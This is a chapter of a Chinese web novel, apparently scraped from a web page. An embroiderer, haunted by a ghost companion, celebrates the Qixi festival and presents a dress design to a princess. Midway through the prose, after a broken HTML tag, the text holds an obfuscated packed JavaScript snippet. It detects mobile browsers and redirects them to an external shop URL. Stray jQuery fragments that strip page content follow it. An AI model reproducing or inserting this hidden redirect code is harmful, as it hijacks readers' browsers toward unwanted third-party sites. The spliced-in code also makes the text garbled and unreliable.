“应姐姐,快来快来!坐这边。我等你好久了,你怎么才回来呀。今天街上好玩吗?”
阿瑾热情地招呼应盼晴坐下,一边还不忘和她汇报今天的成果:“今天你拿给我的货我都卖完了,这是赚的银子,给。”
“挺好玩的。卖完了怎么不早些回家?你明天来给我也是一样的,这么晚不回家,你阿娘该着急了吧。”
应盼晴看她这副模样,还以为她是专程来向她邀功的,接过阿瑾递来的银子,道:“你家住哪里?待会我送你回去吧。”
“哎呀,没关系的姐姐。我今天出门前都和阿娘说好了,今天会晚些回去。别说这个了,你快来。今天不是乞巧节吗,我阿娘说织女会在乞巧这天寻找在月亮下刺绣裁衣的女子,然后让她们的手艺更精进。这个就叫做乞巧。虽然应姐姐你的绣技已经很厉害很厉害了,但是今天过节讨个彩头嘛。”
应盼晴听后颇有些哭笑不得,“你这丫头,好吧。”
接过阿瑾递来的针线,应盼晴就着月光变开始专心刺绣。
今天月亮很圆很亮,小小的院子亮堂堂的,月光柔和地打在应盼晴脸上。她今日穿的月白色裙子,与溶溶月色相得益彰。
女子柔和清丽,在月色下神情认真地刺绣,当真像是织女下凡一般。
没人敢惊扰这副如画般的景象。
清潭在屋里听见院子里的动静,出门看见的便是这副画面,她悄悄走到阿瑾旁边,和她一起看着应盼晴刺绣。
应盼晴刺绣的速度很快,不一会手帕角落便出现一朵小小的蓝色的烟花。
“给,喜欢吗?”
应盼晴将绣好的帕子递给阿瑾,询问道。
“给我?”
“怎么,不想要?”
“要要要!喜欢!谢谢应姐姐!”
“喜欢就好,走吧。你家在哪,我送你回去。”
“不用了,我自己回去。姐姐你早点休息。这城里里我早就跑熟了,闭着眼睛都能回去,你早点休息吧。”
阿瑾夺过应盼晴手中的帕子,边跑边说,一溜烟人就已跑出院子。
“哎,这小孩。”
感叹了番阿瑾的活泼,应盼晴忽然觉得有两道视线格外明显,“怎,怎么了?盯着我做什么?”
清潭和江浔一人一幽灵就这么幽怨地盯着她,明明清潭都看不见江浔,不知为何如两人能如此默契地说出同样的话。
“我的呢?!”
“行行行,我也给你绣。”
将清潭的绣完递给她后总算是把人哄好了,应盼晴让清潭先去睡觉,谎称自己要设计新接的那个订单留在院子里。
“现在总算该我了吧?”
将清潭应付走后,院子里只剩下她和江浔。
“该你了,别着急。真是的,你又拿不到,而且这是女孩子用的绣帕,你拿着也没什么用啊。”
“哼,对任何人都是一副温温柔柔的笑脸,对和你患难与共的盟友就是这副嘴脸。从前你就对我很有意见,我究竟怎么惹到你了?”
听着江浔酸溜溜的语调,看着他一副委委屈屈的表情。应盼晴不自觉有些愧疚。
“哎呀,你别这副表情看着我嘛。这不是在绣嘛。而且谁让你以前那么讨人厌的,总是在我刺绣的时候干扰我,还总是劝我爸让我大学去学什么金融学。你以为谁都跟你一样啊。”
说着说着,应盼晴声音便低了下去。这里不是个适合怀念以前的地方……
“哎哎,得,是我之前不对,你别难过呀。我错了还不行吗,这样,等我们回家,我立马跑去你爸面前说你刺绣多厉害,你多适合刺绣。我再也不劝他让你去学金融。是我错了。”
“嗯,知错能改,善莫大焉。今天我心情好就原谅你了。给你。”
“大小姐高兴就好。谢谢大小姐。”
月华收练,暗香浮动。少男少女相视一笑,有些话不必再说出口。
*
小姐的仆人果真在第三日找上门来带应盼晴去府上验收成果。
在乞巧节那天,应盼晴就已经将衣服上绣什么图案设计好了,并且很有信心。
所有一连两日,应盼晴都将重心放在找能够裁衣的绣娘上。
虽然制衣找绣娘,但其实绣娘也分种类。并不是所有绣娘都能裁衣。
之前在顺安镇,晴绣坊里除了她和清潭其实还有两位绣娘。一位专门负责裁衣,一位则和她一样刺绣。
来京城这么久,因为位置偏,没什么名声,自然也不急着找能裁衣的绣娘。只是今时不同往日,晴绣坊靠着乞巧节一举成名,今后来制衣的客人只会越来越多。她必须得抓紧时间找到合适的人来帮工了。
马车平稳地驶过街道,缓缓停在了公主府门前。
仆从恭谦地领着应盼晴入府,一边不忘对她解释:“公主身份特殊,所以才只用这般方式请您来府上,还望见谅。”
“不敢当,不敢当。”
公主府奢华却又雅致,亭台楼阁错落有致。
应盼晴跟着仆从穿过九曲回廊,终于见到了这位公主的……
身影。
仆从领着她远远停在了带着纱帘的亭子外面。亭中只有一道倩影,坐在桌前正拿着笔在写写画画。
“殿下,人带到了。”
闻言,那道倩影将手中笔搁在桌上,缓缓抬头。
隔着纱帘,俩人谁也看不清谁。
“这个公主怎么这么神秘?诶,应盼晴,你想不想知道她究竟长什么样?”
“不想,你也不准去。别惹是生非。”
应盼晴面上分毫不显,却在心中制止江浔想搞事的念头。
“我一个魂魄能干嘛?怕什么?”
“不,允,许。”
“行了行了,别这么凶嘛。不去还不行。”
“嗯,我知道了。”
温软清甜的嗓音将应盼晴的思绪拉回,她忽然意识到自己似乎还未行礼!
“应盼晴?是叫这个名字吧。前些日子我听闻京城新来了位绣娘,所用绣法从未见过。设计的图案也漂亮,我当时就好奇是什么的刺绣能被吹的那么夸张,前些日子恰巧有人送了你绣的帕子来。我看了,确实很不错。”
公主笑了笑,“将你准备的图给我看看吧。”
“是,殿下。”
应盼晴终于得以走进亭子,掀开纱帘后,入眼便是满桌的画纸,甚至地上也有一些报废的纸团。
“见过殿下。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864376|212145||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
应盼晴还是决定将行礼这一环节补上,只是……
她根本就不会行礼。有样学样,她照猫画虎般行了个跟刚才仆从一样的礼。
虽然很不标准就是了。
“噗嗤——”
两道笑声同时传入应盼晴耳中,一道来自江浔,另一道则是——
“公主恕罪。”
应盼晴跪下了,是的,这个可恶的封建王朝。活命大过了她的尊严。
“哈哈哈,这么紧张干嘛。快起来吧。”
“是。”
长舒一口气,应盼晴连忙将设计好的图纸递与公主看。
“原本我还好奇究竟是怎样的绣娘才能绣出那样美的刺绣,绣法还如此与众不同。我本以为会是个年长些的绣娘呢,竟不知你如此年轻。”
公主展开手中图纸,仔细看了看手中的图,收敛笑容又看向应盼晴。
“哈哈,不仅年轻,还如此貌美。脑子也聪明。”
“不错,你的设计我很喜欢。你很聪明,流云布不适合大面积刺绣,原本我是没报多大希望的,但是你给出的图又很惊艳。你回去试试吧,试着绣下来。”
图纸上是应盼晴由看烟花得出的灵感,浅黄,浅蓝和橙色组成的菊花图案。其实这图案像菊花又不像菊花,因为没有茎叶和芯蕊,更像的其实是烟花。
应盼晴特意设计成这种模棱两可的图案,像菊花是为了应景,恰好对应赏菊宴。像烟花则是为了新颖,让图案更有趣。
“赏菊宴在九月,你还有两个月左右的时间。我期待你的好消息哦。有什么需要可以告诉我,我等着你哦,应盼晴。”
公主很满意她的设计,应盼晴长舒一口气,这时候才敢抬头看向公主。
她生的美,一双圆眼此刻弯成月牙看着自己,鹅蛋脸小小的,腮上有些肉。很可爱的长相。
“殿下满意就好,那民女便先告退了?”
“嗯,下去吧。”
应盼晴转身往外走,余光看见公主又提起笔在纸上画着什么。
公主大方,打发小厮送她回去还给了赏钱,整整五十两,应盼晴和江浔都傻眼了。
其实最开始来的仆从没有同应盼晴谈价格,看对方穿着打扮和给出的布匹针线,应盼晴根本就不会怕钱少。
只是……
她实在没想到就设计了张图纸,赏钱就这么多啊。
她现在都还记得打发她离开的仆从是如何笑着的,他说:“这是公主给你的赏银,公主很满意你的设计。若是衣服做的好,另当有赏。至于制衣钱,待衣服做好后一并结与你。”
晕晕乎乎回到绣坊,还没坐下喝口茶呢,远远的便听见清潭叫她。
“小姐,我找到两个能裁衣的绣娘,您看看合适吗?”
阿瑾这几日一直跟着清潭跑,这趟也是她陪着清潭去的。
二人从绣坊外进到院子里,后面还跟着两位女子。
一个年轻些,长相柔和,二十来岁的模样。
另一个则年长些,三十岁模样,慈眉善目,只是脚有些跛,走路一拐一拐的。
阿瑾见她走路不顺,回过头去搀扶住她,将人扶着往里走。
一副是与这位中年女子相熟的模样。